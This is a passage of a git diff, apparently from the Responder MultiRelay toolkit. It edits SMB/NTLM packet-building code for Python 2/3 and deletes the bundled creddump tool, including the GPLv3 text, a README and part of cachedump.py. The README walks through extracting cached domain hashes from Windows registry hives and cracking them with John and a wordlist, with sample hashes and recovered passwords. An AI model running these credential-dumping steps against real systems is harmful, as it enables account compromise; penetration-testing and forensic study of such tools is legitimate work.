len(SecurityBlobLen)-12) + self.fields["ChoosedTag1StrLenOfLen"] = "\x82" + self.fields["ChoosedTag1StrLen"] = StructWithLenPython2or3(">H", len(SecurityBlobLen)-12) else: - self.fields["ChoosedTag1StrLenOfLen"] = "\x81" - self.fields["ChoosedTag1StrLen"] = struct.pack(">B", len(SecurityBlobLen)-12) + self.fields["ChoosedTag1StrLenOfLen"] = "\x81" + self.fields["ChoosedTag1StrLen"] = StructWithLenPython2or3(">B", len(SecurityBlobLen)-12) CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])+str(self.fields["NLMPAuthMsgNull"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["ExtraNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"]) SecurityBlobLenUpdated = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"]) ## Packet len - self.fields["andxoffset"] = struct.pack(" - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/tools/MultiRelay/creddump/README b/tools/MultiRelay/creddump/README deleted file mode 100644 index e69de29..0000000 diff --git a/tools/MultiRelay/creddump/README.md b/tools/MultiRelay/creddump/README.md deleted file mode 100644 index 8b5b80c..0000000 --- a/tools/MultiRelay/creddump/README.md +++ /dev/null @@ -1,182 +0,0 @@ -#Information -This repo is for my modifications to the original 'creddump' program available -at: - -https://code.google.com/p/creddump/ - -I did not write the original program. - -I have combined many patches and fixes I have seen from different forums and -user suggestions, as well as modified the usage to make it a little more clear. - -I followed patches and fixes from the following links: - -* https://code.google.com/p/creddump/issues/detail?id=4 -* https://code.google.com/p/volatility/issues/detail?id=92 - -Enjoy! -Ronnie Flathers (@ropnop) - - -###Usage -Mount a Windows 7/Vista partition: -``` -# mkdir /mnt/win -# ntfs-3g /dev/sda1 /mnt/win -``` - -Run cachedump.py on the SYSTEM and SECURITY hives to extract cached domain creds: -``` -# ./cachedump.py -usage: ./cachedump.py - -Example (Windows Vista/7): -./cachedump.py /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true - -Example (Windows XP): -./cachedump.py /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false - -# ./cachedump.py /mnt/win/Windows/System32/config/SYSTEM /mnt/win/Windows/System32/config/SECURITY true |tee hashes -nharpsis:6b29dfa157face3f3d8db489aec5cc12:acme:acme.local -god:25bd785b8ff1b7fa3a9b9e069a5e7de7:acme:acme.local -``` - -If you want to crack the hashes and have a good wordlist, John can be used. The hashes are in the 'mscash2' format: -``` -# john --format=mscash2 --wordlist=/usr/share/wordlists/rockyou.txt hashes -Loaded 2 password hashes with 2 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 8x]) -g0d (god) -Welcome1! (nharpsis) -``` - -We now have the passwords for two domain users. Note: these passwords are really simple and I knew they were in the wordlist I used. Normally if you want to actually bruteforce the passwords, I wouldn't recommend John. Pull the hashes and use a GPU powered cracking box with oclHashcat. - - -####Below is the original README file - - -OVERVIEW - -creddump is a python tool to extract various credentials and secrets from -Windows registry hives. It currently extracts: -* LM and NT hashes (SYSKEY protected) -* Cached domain passwords -* LSA secrets - -It essentially performs all the functions that bkhive/samdump2, -cachedump, and lsadump2 do, but in a platform-independent way. - -It is also the first tool that does all of these things in an offline -way (actually, Cain & Abel does, but is not open source and is only -available on Windows). - -REQUIREMENTS - -alldump has only been tested on python 2.5. It should work on 2.4 as -well, but will likely need modification before it will work on 2.3 or -below. - -python-crypto is required for its MD5/DES/RC4 support. To obtain it, -see: http://www.amk.ca/python/code/crypto - -For lsadump: system and SECURITY hives -For cachedump: system and SECURITY hives -For pwdump: system and SAM hives - -USAGE - -Dump cached domain hashes: - usage: ./cachedump.py - -Dump LSA secrets: - usage: ./lsadump.py - -Dump local password hashes: - usage: ./pwdump.py - -FEATURES - -* Platform independent operation. The only inputs are the hive files - from the system--we don't rely on any Windows functionality at all. -* Open-source and (hopefully!) readble implementations of Windows - obfuscation algorithms used to protect LSA secrets, cached domain - passwords, and -* A reasonably forgiving registry file parser in pure Python. Look - through framework/types.py and framework/win32/rawreg.py to see how it - works. -* The first complete open-source implementation of advapi32's - SystemFunction005. The version in the Wine source code does not - appear to allow for keys longer than 7 bytes, while the Windows - version (and this version) does. See decrypt_secret() in - framework/win32/lsasecrets.py - -AUTHOR - -creddump is written by Brendan Dolan-Gavitt (bdolangavitt@wesleyan.edu). -For more information on Syskey, LSA secrets, cached domain credentials, -and lots of information on volatile memory forensics and reverse -engineering, check out: - -http://moyix.blogspot.com/ - -CREDITS -* AAron Walters. Much of the data type parsing code is taken from - Volatility, an excellent memory analysis framework written in Python. - He's also a really nice guy, and has helped me out a lot in my - research. - - https://www.volatilesystems.com/default/volatility - -* Massimiliano Montoro (mao), for reversing the mechanism Windows uses - to derive the LSA key so that it can be computed directly from the - hive files, as decribed in this post: - - http://oxid.netsons.org/phpBB2/viewtopic.php?t=149 - http://www.oxid.it/ - -* Jeremy Allison, for the details of the obfuscation applied to password - hashes in the SAM, as implemented in the original pwdump. - - http://us4.samba.org/samba/ftp/pwdump/ - -* Nicola Cuomo, for his excellent description of the syskey mechanism - and how it is used to encrypt the SAM in Windows 2000 and above. - - http://www.studenti.unina.it/~ncuomo/syskey/ - -* Eyas[at]xfocus.org, for x_dialupass2.cpp, which demonstrates how to - read LSA secrets directly from the registry, given the LSA key. - - http://www.xfocus.net/articles/200411/749.html - - [Note: the above is in Chinese, but quite comprehensible if you use - Google Translate and can read C ;)] - -* Nicholas Ruff, for his perl implementation of des_set_odd_parity, - which he apparently took from SSLEAY: - - http://seclists.org/pen-test/2005/Jan/0180.html - -* Arnaud Pilon, for the details of how to retrieve cached domain, as - implemented in cachedump. - - http://www.securiteam.com/tools/5JP0I2KFPA.html - -* S�bastien Ke, for his cute hexdump recipe: - - http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812 - -LICENSE - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program. If not, see . diff --git a/tools/MultiRelay/creddump/cachedump.py b/tools/MultiRelay/creddump/cachedump.py deleted file mode 100755 index c059699..0000000 --- a/tools/MultiRelay/creddump/cachedump.py +++ /dev/null @@ -1,48 +0,0 @@ -#!/usr/bin/env python - -# This file is part of creddump. -# -# creddump is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# creddump is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with creddump. If not, see . - -# pylint: disable=invalid-name,missing-docstring - -""" -@author: Brendan Dolan-Gavitt -@license: GNU General Public License 2.0 or later -@contact: bdolangavitt@wesleyan.edu -""" - -import sys -from framework.win32.domcachedump import dump_file_hashes - - -def showUsage(): - print("usage: %s " % sys.argv[0]) - print("\nExample (Windows Vista/7):") - print("%s /path/to/System32/config/SYSTEM /path/to/System32/config/SECURITY true" % sys.argv[0]) - print("\nExample (Windows XP):") - print("%s /path/to/System32/SYSTEM /path/to/System32/config/SECURITY false" % sys.argv[0]) - - -if len(sys.argv) < 